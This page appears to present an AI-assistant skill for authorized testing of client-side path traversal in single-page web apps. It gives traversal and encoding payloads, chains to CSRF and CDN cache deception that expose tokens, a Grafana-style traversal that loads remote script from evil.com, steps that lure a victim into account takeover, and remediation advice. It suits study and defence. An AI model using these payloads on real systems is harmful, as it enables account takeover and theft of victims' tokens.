Exploiting Client-Side Path Traversal (CSPT, also known as On-Site Request Forgery) where attacker-controlled input is concatenated into a same-origin URL that the victim's browser fetches with their credentials, enabling CSPT-to-CSRF, cache deception/poisoning, and open-redirect-to-XSS/SSRF chains. Activates when SPA routers, fetch/XHR wrappers, or CSS/link generators build request paths from route params, stored values, or UI fragments.
Install with Codex or Claude Copy this prompt, paste it into Codex, Claude, or another assistant, and let it review the skill page and install it for you.
A direct command skips the review prompt. Inspect the source before running it.
Exploiting Client-Side Path Traversal (CSPT, also known as On-Site Request Forgery) where attacker-controlled input is concatenated into a same-origin URL that the victim's browser fetches with their credentials, enabling CSPT-to-CSRF, cache deception/poisoning, and open-redirect-to-XSS/SSRF chains. Activates when SPA routers, fetch/XHR wrappers, or CSS/link generators build request paths from route params, stored values, or UI fragments.
During authorized tests of SPAs (React, Next.js, Vue, Angular) that build API paths from route/path params
When a frontend fetch()/XHR wrapper prepends /api/ or /proxy/ and auto-attaches auth headers/cookies
When stored values (profile slugs, document IDs) are interpolated into background-job, service-worker, or WebSocket URLs
When CMS/feature-flag content generates <link>, <style>, or @import URLs
When you want to escalate a "low-impact" reflected param into CSRF, cache deception, or XSS/SSRF
Critical: Variants Most Often Missed
CSPT lands the traversal on the same origin in the victim's authenticated browser context — not on the server filesystem. The miss is treating it as "just a redirect." Test the full sink matrix:
# 1. Re-target an authenticated request to a sibling API (router does /${param})
?doc=../../v1/admin/users
?doc=../../v1/admin/users.json # add .json/.css if CDN only caches static-looking assets
# 2. CSPT -> CSRF (verb change / re-enter destructive endpoint)
?action=../../payments/approve/.json&_method=POST
# escape the intended resource path then hit password-reset / approve / revoke endpoints
# 3. CSPT -> extension-based CDN cache deception (exfil authenticated JSON)
?file=../../v1/token.css # CDN caches .css as public → secret stored under public key
# 4. CSPT -> open redirect -> XSS/SSRF
?next=..%2f..%2f..%2flogin/callback/%3FreturnUrl=https://attacker.tld/x
# 5. Dot-segment encodings to defeat naive normalization
../ ..%2f %2e%2e/ %2e%2e%2f %2e./%2e/
..;/ # matrix-param/semicolon variant
../api/%252e%252e/ # DOUBLE url-encoding (frontend decodes before fetch)
Real-world gadget (Grafana CVE-2025-4123/6023): /public/plugins/../../../../..//evil.com/poc/module.js smuggled ../ into the plugin asset loader, chaining open redirect → remote JS (XSS) and, with the Image Renderer plugin, → SSRF.
How to CONFIRM a hit (avoid false negatives)
Re-targeting: instrument fetch/XHR and confirm the dispatched URL resolves to a DIFFERENT same-origin endpoint than intended, and still carries credentials: "include" / auth headers.
CSRF: the destructive endpoint actually executes (state change observed) when the victim loads your URL.
Cache deception: request the variant () and watch the response flip to and while still returning JSON; then read it back anonymously and get the secret.
...token.css
Cache-Control: public/max-age
X-Cache: Hit
Open redirect/XSS: the SPA navigates to attacker origin / executes attacker JS.
Watch specifically for init.credentials === "include" — that's what makes a same-origin traversal weaponizable. A request without credentials is usually not impactful.
Workflow
Step 1: Map Sources → Sinks
// Drop in DevTools to surface traversals while you use the UI
(() => {
const o = window.fetch;
window.fetch = asyncfunction (input, init) {
if (typeof input === "string" && /\.\.\//.test(input)) {
console.log("[CSPT candidate]", input, init?.method || "GET", init?.credentials);
debugger;
}
return o.apply(this, arguments);
};
})();
Wrap XMLHttpRequest.prototype.open, history.pushState, and framework routers (next/router) the same way. Edit IndexedDB/localStorage routing hints with traversal payloads and reload — mutated state often reinjects pre-hydration.
Step 2: Exploit — chain the traversal
# CSPT -> CSRF: craft a URL that injects traversal into the SPA param so the
# authenticated fetch hits a destructive endpoint
https://app.target/#/docs/../../payments/approve/123
# CSPT -> cache deception (account takeover):
1. Lure victim to https://app.target/#/profile/../../v1/token.css
2. Authenticated fetch hits /v1/token.css, CDN caches JSON under public key
3. Attacker fetches https://app.target/v1/token.css anonymously → reads the token
Step 3: Escalate / Impact
# Open redirect -> XSS via plugin/asset loader (Grafana-style)
https://grafana.example.com/public/plugins/../../../../..//evil.com/poc/module.js
# Same primitive flipped to SSRF if a renderer/image plugin follows the redirect server-side
Maintain a scratchpad of working dot-segment variants (..;/, %2e%2e/, %2e./%2e/, double-encoding) and suffix tricks (.css, .json, ; matrix params) for fast replay on new sinks.
Key Concepts
Concept
Description
CSPT / OSRF
Manipulating a same-origin URL the victim's browser fetches with their creds
Source
Route params, stored slugs/IDs, UI fragments concatenated into request paths
Sink
fetch/XHR wrappers, router.navigate, <link>/@import, service workers
CSPT→CSRF
Escape the path to re-enter destructive POST/PUT/DELETE endpoints
Cache deception
Static-looking suffix makes CDN cache an authenticated response publicly
Double-decode
%252e%252e decoded by the frontend before the request is dispatched
Tools & Systems
Tool
Purpose
CSPT Burp Extension (Doyensec)
Cluster params reflected into other requests' paths; reissue PoCs with canaries
Eval Villain (Firefox)
Monitor sources/sinks of attacker-controlled data
CSPT Playground (Doyensec)
Practice traversal→CSRF→XSS chains locally (docker compose up)
Browser DevTools
Wrap fetch/XHR/router to detect dispatched traversals
Burp / ZAP
Spot %252e%252e/ double-decode patterns in proxy history
Common Scenarios
Scenario 1: CSPT → Account Takeover via Cache Deception
An SPA builds /api/${slug} with auth headers. slug=../../v1/token.css makes the CDN cache the token JSON under a public .css key; the attacker reads it back unauthenticated and takes over the account.
Scenario 2: CSPT → CSRF
A download button appends a user fragment to /api/files/. Traversing to ../../payments/approve/123 re-targets the authenticated request to a state-changing endpoint, approving a payment as the victim.
Scenario 3: Plugin Loader → XSS/SSRF (Grafana)
Anonymous dashboards enabled; /public/plugins/../../../../..//evil.com/poc/module.js loads attacker JS in the victim's session, and the same traversal redirects the image renderer toward internal hosts (SSRF).
Output Format
## Client-Side Path Traversal (CSPT/OSRF) Finding
**Vulnerability**: Client-Side Path Traversal → CSRF / Cache Deception / XSS
**Severity**: High to Critical (CVSS 7.1–9.3 depending on chain)
**Location**: SPA route param feeding fetch() — e.g. /#/profile/<INPUT>
**OWASP Category**: A01:2021 - Broken Access Control (chained with A03/A10)
### Reproduction Steps
1. Identify fetch building /api/${param} with credentials: "include".
2. Lure victim to /#/profile/../../v1/token.css → authenticated fetch hits cacheable path.
3. CDN stores JSON token under public .css key (X-Cache: Hit, Cache-Control: public).
4. Attacker requests /v1/token.css anonymously → recovers token → account takeover.
### Evidence
| Payload | Dispatched URL | Effect |
|---------|----------------|--------|
| ../../v1/admin/users | /api/v1/admin/users (creds) | Re-target authed request |
| ../../v1/token.css | cached publicly | Secret exfiltration |
| ../../payments/approve/.json | POST executed | CSRF state change |
### Impact
Account takeover, unauthorized state changes (CSRF), exposure of authenticated responses via public cache, and XSS/SSRF when chained with open redirect / asset loaders.
### Recommendation
1. Build request URLs from allow-listed identifiers; reject `../`, `..;/`, and encoded dot-segments after decoding.
2. Resolve/normalize the path client-side and verify it stays within the intended API namespace.
3. Make the CDN vary on auth headers / never cache authenticated JSON; avoid static-looking suffixes on dynamic endpoints.
4. Apply anti-CSRF tokens and SameSite cookies on state-changing endpoints; fix open redirects.
